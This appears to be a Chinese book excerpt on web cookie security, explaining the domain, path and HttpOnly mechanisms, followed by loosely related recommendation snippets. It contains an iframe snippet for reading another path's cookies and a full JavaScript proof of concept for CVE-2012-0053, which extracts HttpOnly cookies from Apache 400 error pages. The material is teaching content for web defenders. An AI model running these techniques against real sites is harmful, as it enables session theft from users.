Cookie安全
Cookie是一个神奇的机制,同域内浏览器中发出的任何一个请求都会带上Cookie,无论请求什么资源,请求时,Cookie出现在请求头的Cookie字段中。服务端响应头的Set-Cookie字段可以添加、修改和删除Cookie,大多数情况下,客户端通过JavaScript也可以添加、修改和删除Cookie。
由于这样的机制,Cookie经常被用来存储用户的会话信息,比如,用户登录认证后的Session,之后同域内发出的请求都会带上认证后的会话信息,非常方便。所以,攻击者就特别喜欢盗取Cookie,这相当于盗取了在目标网站上的用户权限。
Cookie的重要字段如下:
[name][value][domain][path][expires][httponly][secure]
其含义依次是:名称、值、所属域名、所属相对根路径、过期时间、是否有HttpOnly标志、是否有Secure标志。这些字段用好了,Cookie就是安全的,下面对关键的字段进行说明。
1.子域Cookie机制
这是domain字段的机制,设置Cookie时,如果不指定domain的值,默认就是本域。例如,a.foo.com域通过JavaScript来设置一个Cookie,语句如下:
document.cookie="test=1";
那么,domain值默认为a.foo.com。有趣的是,a.foo.com域设置Cookie时,可以指定domain为父级域,比如:
document.cookie="test=1;domain=foo.com";
此时,domain就变为foo.com,这样带来的好处就是可以在不同的子域共享Cookie,坏处也很明显,就是攻击者控制的其他子域也能读到这个Cookie。另外,这个机制不允许设置Cookie的domain为下一级子域或其他外域。
2.路径Cookie机制
这是path字段的机制,设置Cookie时,如果不指定path的值,默认就是目标页面的路径。例如,a.foo.com/admin/index.php页面通过JavaScript来设置一个Cookie,语句如下:
document.cookie="test=1";
path值就是/admin/。通过指定path字段,JavaScript有权限设置任意Cookie到任意路径下,但是只有目标路径下的页面JavaScript才能读取到该Cookie。那么有什么办法跨路径读取Cookie?比如,/evil/路径想读取/admin/路径的Cookie。很简单,通过跨iframe进行DOM操作即可,/evil/路径下页面的代码如下:
xc = function(src){
var o = document.createElement("iframe"); // iframe进入同域的目标页面
o.src = src;
document.getElementsByTagName("body")[0].appendChild(o);
o.onload = function(){ // iframe加载完成后
d = o.contentDocument || o.contentWindow.document;
// 获取document对象
alert(d.cookie); // 获取cookie
};
}('http://a.foo.com/admin/index.php');
所以,通过设置path不能防止重要的Cookie被盗取。
3.HttpOnly Cookie机制
顾名思义,HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效地防御XSS攻击获取Cookie。以PHP setcookie为例,httponly.php文件代码如下:
<?php
setcookie("test", 1, time()+3600, "", "", 0); // 设置普通Cookie
setcookie("test_http", 1, time()+3600, "", "", 0, 1);
// 第7个参数(这里的最后一个)是HttpOnly标志,0为关闭,1为开启,默认为0
?>
请求这个文件后,设置了两个Cookie,如图2-2所示。
图2-2 设置的Cookie值
其中,test_http是HttpOnly Cookie。有什么办法能获取到HttpOnly Cookie?如果服务端响应的页面有Cookie调试信息,很可能就会导致HttpOnly Cookie的泄漏。比如,以下信息。
(1)PHP的phpinfo()信息,如图2-3所示。
图2-3 phpinfo()信息
(2)Django应用的调试信息,如图2-4所示。
图2-4 Django调试信息
(3)CVE-2012-0053关于Apache Http Server 400错误暴露HttpOnly Cookie,描述如下:
Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回 400(Bad Request)错误,并在返回信息中将出错的请求头内容输出(包含请求头里的HttpOnly Cookie),攻击者可以利用这个缺陷获取HttpOnly Cookie。
可以通过技巧让Apache报400错误,例如,如下POC(Proof of Concept,为观点提供证据):
<script>
/* POC来自:
https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3a d3fde02b7fb08
大多数浏览器限制Cookies最大为4kB,我们设置为更大,让请求头长度超过Apache的LimitRequestFieldSize,从而引发400错误。
*/
function setCookies (good) {
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
for (i = 0; i < 10; i++) {
if (good) { // 清空垃圾Cookies
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1). toUTCString()+"; path=/;";
}
// 添加垃圾Cookies
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
function makeRequest() {
setCookies(); // 添加垃圾Cookies
function parseCookies () {
var cookie_dict = {};
// 仅当处于400状态时
if (xhr.readyState === 4 && xhr.status === 400) {
// 替换掉回车换行字符,然后匹配出<pre></pre>代码段里的内容
var content = xhr.responseText.replace(/\r|\n/g,'').match (/<pre>(.+)<\/pre>/);
if (content.length) {
// 替换“Cookie: ”前缀
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
setCookies(true); // 清空垃圾Cookies
alert(JSON.stringify(cookie_dict)); // 得到HttpOnly Cookie
}
}
// 针对目标页面发出xhr请求,请求会带上垃圾Cookies
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "httponly.php", true);
xhr.send(null);
}
makeRequest();
</script>
apache 400 httponly cookie poc
请求这个POC时,发出的请求头信息如图2-5所示。
图2-5 POC发出的请求头信息
此时,httponly.php(其代码在前面已给出)会出现400错误,导致HttpOnly Cookie泄漏,如图2-6所示。
图2-6 Apache 400错误报出的HttpOnly Cookie
上面的几个例子中,服务端响应泄漏了HttpOnly Cookie应该算是一种漏洞,需谨慎对待,否则XSS会轻易获取到同域内的HttpOnly Cookie。
本文节选自《web前端黑客技术揭秘》
钟晨鸣,徐少培编著
电子工业出版社出版
相关推荐
【Cookie安全策略】是确保Cookie安全的重要手段,包括设置各种属性如Domain、Path、Secure、Expires、MaxAge和HttpOnly。HttpOnly属性可以防止JavaScript访问Cookie,从而减少Cookie被篡改或窃取的风险。然而,尽管...
**标题解析:**“mvc中cookie安全”这个标题聚焦于在使用Model-View-Controller (MVC)架构的Web应用程序中处理Cookie的安全性问题。在Web开发中,Cookie常用于存储用户状态信息,如会话ID,但如果不妥善管理,可能会...
Web前端黑客技术揭秘中关于Cookie安全的讨论主要集中在如何利用和保护这个常见的用户身份验证机制。Cookie是一个在浏览器和服务器之间传递信息的小型文本文件,它对于实现会话管理、个性化体验等功能至关重要,但也...
计算机后端-PHP视频教程. php之blog实战51-cookie安全.wmv
- **安全性**:虽然Cookie本身不是可执行代码,不包含恶意软件,但它们可能被用于非法目的,如跟踪用户活动或在某些情况下窃取敏感信息。 - **生命周期**:服务器可以设定Cookie的生命周期,过了这个时间,浏览器将...
### Express 入门(10)- Cookie 在Web开发中,Cookie是一种非常重要的技术,它可以...同时,我们也强调了保护Cookie安全的重要性以及如何实施这些保护措施。希望这些知识能够帮助你在实际项目中更好地管理用户会话。
5. **防御措施**:博主可能提到了防止这种攻击的策略,如使用预编译的SQL语句、输入验证、限制SQL命令的执行权限、设置合适的Cookie安全属性等。 【标签】:“源码”和“工具”暗示了文章可能包含: - **源码分析*...
"Cookie在线注入工具 V2.0" 是一个专门针对Web应用程序安全的工具,主要用于测试和分析网站的Cookie安全性。Cookie是网站在用户浏览器上存储的小型数据块,通常用于用户身份验证、会话管理等。此工具的V2.0版本可能...
2. **Cookie安全设置**:限制Cookie的生命周期、设置HttpOnly标志(阻止JavaScript访问Cookie)、使用Secure标志(只在HTTPS下发送Cookie)以及设置SameSite属性(防止跨站请求伪造,CSRF)都能增强Cookie的安全性。...
Session存储在服务器内存中,相比Cookie安全性更高,但消耗服务器资源。 **二、会话Cookie与持久Cookie的区别** 1. **会话Cookie**:若未设置过期时间,Cookie生命周期仅限于当前浏览器会话,关闭浏览器窗口后即...
6. **Cookie的安全性**:如何防止跨站脚本攻击(XSS)和跨站请求伪造攻击(CSRF),以及HTTPS对Cookie安全性的提升。 7. **Cookie的最佳实践**:例如,避免使用敏感信息作为Cookie值,限制Cookie的生命周期,使用...
uid-safe URL和cookie安全的UID 创建对Cookie和URL使用均安全的加密安全UID。 这与诸如的模块形成对比,该模块的UID实际上由于使用%而产生了偏差,从而不必要地截断了UID。 如果您仍然可以在UID中使用-和_ ,请使用...
4. **Cookie安全**:启用HTTPS协议可以保护Cookie在传输过程中不被窃取,同时使用HttpOnly标志防止跨站脚本攻击。 **四、实战演练** 在提供的`WebSite6`项目中,你可以看到一个简单的示例,包括登录页面、受保护的...
- **Cookie安全**:应设置Cookie的安全属性(Secure和HttpOnly),防止XSS攻击和通过HTTP协议窃取Cookie。 - **Session管理**:定期清理过期Session,防止Session劫持。 - **令牌安全**:对访问令牌进行加密,且要...
Cookie注入工具是一种在网络安全和渗透测试领域常用的工具,主要用于检测和利用网站的Cookie安全漏洞。在Web应用程序中,Cookie常用于存储用户会话信息、偏好设置等数据,但不恰当的处理可能导致敏感信息泄露或者...
史上最全如何安全的处理cookie,不让cookie被利用最全如何安全的处理cookie,
4. **Cookie 安全性问题**:由于 Cookie 通常以纯文本形式存储在用户硬盘上,容易被恶意软件读取,因此不适合存储敏感信息。 #### 四、设置和读取 Cookie 在 JavaScript 中,可以通过操作 `document.cookie` 属性...
四、Cookie 安全 * 不能将敏感数据直接保存到Cookie中。 * 如果确实需要将敏感数据临时保存到Cookie中,必须做加密处理。 五、加密算法 * 密码之类的敏感数据一定不能明文保存,只能保存Hash值,并在计算Hash时...
- **Cookie安全属性**:设置HttpOnly和Secure标志,防止跨站脚本攻击(XSS)和非HTTPS环境下的数据泄露。 - **Token签名**:使用非对称加密算法,确保Token的完整性和不可篡改性。 - **Token刷新**:定期更新SSO ...